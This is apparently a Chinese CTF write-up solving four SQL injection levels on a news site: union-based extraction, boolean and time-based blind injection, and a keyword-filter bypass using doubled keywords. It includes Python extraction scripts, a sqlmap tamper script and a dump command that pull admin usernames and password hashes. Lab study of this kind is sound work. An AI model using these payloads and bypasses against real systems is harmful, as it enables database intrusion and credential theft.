前置知识

  • 布尔盲注:有时,SQL 语句查询正常时,并不会回显数据。但是我们可以通过页面内容来判断执行是否成功。即使这样,我们任然可以拿到数据,如:id=1 and lenght((select database()))=x 的布尔值可以得到 database() 的长度。
  • 延时盲注:如果没有任何回显,我们可以通过延时来解决,当布尔值为 true 时,延时一会儿,其他不延时,也能达到注入效果。

T1-手动注入

打开目标网站,我们可以发现网页有两个功能,一个是登录功能,一个是查看热点新闻功能。直觉告诉我,登录功能有 SQL 注入点,但实际上不是这样的。

在我们点击查看新闻时,打开浏览器抓包工具,可以看到实际执行的 URL 是 http://58.240.236.231:27002/backend/content_detail.php?id=1,这是最终的 SQL 注入点。

首先,我们需要拿到当前的数据库名称。可以通过 select database() 来查询。因此,我们构造 id=1 union select database(),_ 来查询,为什么需要有个占位符呢?这是因为原始数据有 2 列,需要保证 union 的两个表的列数一致。但是,还是不能拿到数据,这是为什么呢?

经过分析,这是因为后端只输出一行数据。所以我们添加一个 limit 1 offset 1,就可以输出第二行数据了。最终,构造的 payload 如下:

1
id=1 union select database(),2 limit 1 offset 1#  

执行结果如下:

image-20230505190650860

因此,我们拿到了数据库的名称,也即 news。同理,我们通过:

1
id=1 union select group_concat(table_name), 2 from information_schema.tables where table_schema='news' limit 1 offset 1#

可以拿到表名如下:

image-20230505191207287

通过表名,我们可以拿到字段名,构造 payload 如下:

1
id=1 union select group_concat(column_name), 2 from information_schema.columns where table_name='admin' limit 1 offset 1#

可以拿到列名如下:

image-20230505191526850

通过列名,我们拿到数据,构造 payload 如下:

1
2
id=1 union select group_concat(username), 2 from admin limit 1 offset 1#
id=1 union select group_concat(password), 2 from admin limit 1 offset 1#

得到 username 和 password 的值如下:

1
2
username=admin
password=a207de86ef5d89561911406ad21cdd84

将拿到的用户名与密码去登录,可以拿到 flag 如下:

image-20230505192043567

T2-布尔盲注

对于查询结果为 true,会返回"测试新闻",对于查询结果为 false,会返回"nonono"。因此,我们可以使用布尔盲注来解决这个问题。

构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
url = "http://58.240.236.231:27003/backend/content_detail.php?id=1"

inDatabase = " and ascii(substr(database(), {0}, 1))={1}%23"

true_text = "测试新闻"

def get_db_name():
db_name = ''
for i in range(10):
# 使用逆序更快些,因为基本上都是小写字符居多
for j in range(126, 30, -1):
payload = inDatabase.format(i, j)
reponse = requests.get(url + payload)
if true_text in reponse.text:
db_name += chr(j)
print(db_name)
return db_name

如上的脚本可以拿到 database_name,同理,使用如下 payload 可以拿到所有数据:

1
2
3
4
inTable = " and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='{2}'),{0},1))={1}%23"
columnpayload = " and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{2}'),{0},1))={1}%23"
pwdusername = " and ascii(substr((select group_concat({2}) from {3}),{0},1))={1}%23"
pwdpayload = " and ascii(substr((select group_concat({2}) from {3}),{0},1))={1}%23"

最终,拿到用户名和密码如下:

1
2
username=admin
password=7f27be4c2b8f8e17a49a4ae1441a2640

image-20230505204611598

T3-延时盲注

此时无任何回显,因此使用延时盲注来解决这个问题。构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
url = "http://58.240.236.232:27004/backend/content_detail.php?id=1"
inDatabase = " or if (ascii(substr(database(), {0}, 1))={1}, sleep(3),0)%23"


def get_db_name():
db_name = ''
for i in range(10):
for j in range(126, 30, -1):
payload = inDatabase.format(i, j)
try:
reponse = requests.get(url + payload, timeout=3)
except Exception:
db_name += chr(j)
print(db_name)
return db_name

如上的脚本可以拿到 database_name,同理,使用如下 payload 可以拿到所有数据:

1
2
3
4
inTable = " or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='{2}'),{0},1))={1},sleep(3),0)%23"
columnpayload = " or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{2}'),{0},1))={1},sleep(3),0)%23"
undpayload = " or if(ascii(substr((select group_concat(username) from {3}),{0},1))={1},sleep(3),0)%23"
pwdpayload = " or if(ascii(substr((select group_concat(password) from {3}),{0},1))={1},sleep(3),0)%23"

最终,拿到用户名和密码如下:

1
2
username=admin
password=ee5888f6fbd2a10e233f9b5e83937dc8

image-20230505212247570

T4-延时注入(需要绕过过滤)

首先,直接执行试试看,可以发现,会回显执行的 SQL 语句,这有利于我们确定过滤的字符,从而执行绕过。

使用获取数据库名的语句执行试试,也就是 payload 为 id=1 union select database(),2 limit 1 offset 1# 。但是我们会发现,select 被过滤掉了,union 也被过滤掉了。

绕过过滤的一些方法:

  1. 大小写绕过,因为 SQL 语句是不区分大小写的,因此,写成 uNiOn 这样以绕过过滤(失败)
  2. 内联注释绕过,在某些情况下 /* union */ 会被注释掉,不会执行过滤。而在 SQL 中不影响,从而可以绕过(失败)
  3. 十六进制绕过,直接使用十六进制表示字符串,只适用于表名等字符串。

双写关键字绕过,由于 union 会被替换为空,那么 uunionnion 呢?会被替换为 union

于是,修改我们拿到数据库名的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://58.240.236.231:27005/backend/content_detail.php?id=1"
inDatabase = " oorr if(ascii(substr(database(), {0}, 1))={1}, sleep(3),0)%23"
# replace or ---> oorr

def get_db_name():
db_name = ''
for i in range(10):
for j in range(126, 30, -1):
payload = inDatabase.format(i, j)
try:
reponse = requests.get(url + payload, timeout=3)
except Exception:
db_name += chr(j)
print(db_name)
return db_name


if __name__ == "__main__":
get_db_name()

可以知道数据库名为 news 。将拿到表名对应的 inTable 修改如下,可以拿到 table 名为 admin, content

1
2
inTable = " oorr if(ascii(substr((seselectlect group_concat(table_name) frfromom infofromrmation_schema.tables where table_schema='{2}'),{0},1))={1},sleep(3),0)%23"
# replace or ---> oorr, select ---> seselectlect, from --> frfromom, information 里有个 or 也要修改

然后将 columnpayload 修改如下,在脚本执行中一直有较大问题,并且在我逆序的时候结果很奇怪,修改为正序也会出错

1
2
columnpayload = " oorr if(ascii(substr((seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns where table_name='{2}'),{0},1))={1},sleep(3),0)%23"
# {2} 对应的参数是 admin,也被 ban 了,需要修改为 adadminmin

多执行几次可以大致猜测出来是 id,username,password (不执行我也知道是这个结果)更优雅的做法当然是使用布尔盲注了,就不会受网络的影响。

image-20230506002057241

然后,我们可以继续执行,不过这里 password 的情况较为复杂,不仅仅是因为 or 被 ban 掉了,并且 password 也被 ban 掉了。并且经过测试,发现 password 会循环两次 ban,也就是构造 double 个 password 都会被 ban 掉,这不难,搞三个即可。例如 passwopasswopasswoorrdrdrd,先 ban 掉 or 再两次 password,还剩一个 password。

拿到用户名和密码对应的 payload 如下:

1
2
undpayload = " oorr if(ascii(substr((seselectlect group_concat(username) frfromom {2}),{0},1))={1},sleep(3),0)%23"
pwdpayload = " oorr if(ascii(substr((seselectlect group_concat(passwopasswopasswoorrdrdrd) frfromom {2}),{0},1))={1},sleep(3),0)"

最终得到的 usernamepassword 分别为:

1
2
username=admin
password=d2f8e8ea003b07601c45b6a02dd5309b

image-20230506005809007

其实,当我们知道了这些绕过规则后,就可以用 sqlmap 直接跑脚本了。首先,构造一个绕过替换脚本,命名为 double.py 存储在 sqlmap/tamper 文件夹中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
payload = payload.lower()
payload = payload.replace('union', 'uniunionon')
payload = payload.replace('select', 'selselectect')
payload = payload.replace('from', 'frfromom')
payload = payload.replace('password', 'passwopasswopasswordrdrd')
payload = payload.replace('or', 'oorr')
payload = payload.replace('and', 'anandd')
payload = payload.replace('admin', 'adadminmin')
retVal = payload
return retVal

然后执行 python3 sqlmap.py -u "http://58.240.236.232:27005/backend/content_detail.php?id=1" -D news -T admin --dump --tamper=double.py --flush-session 即可。

image-20230506012912646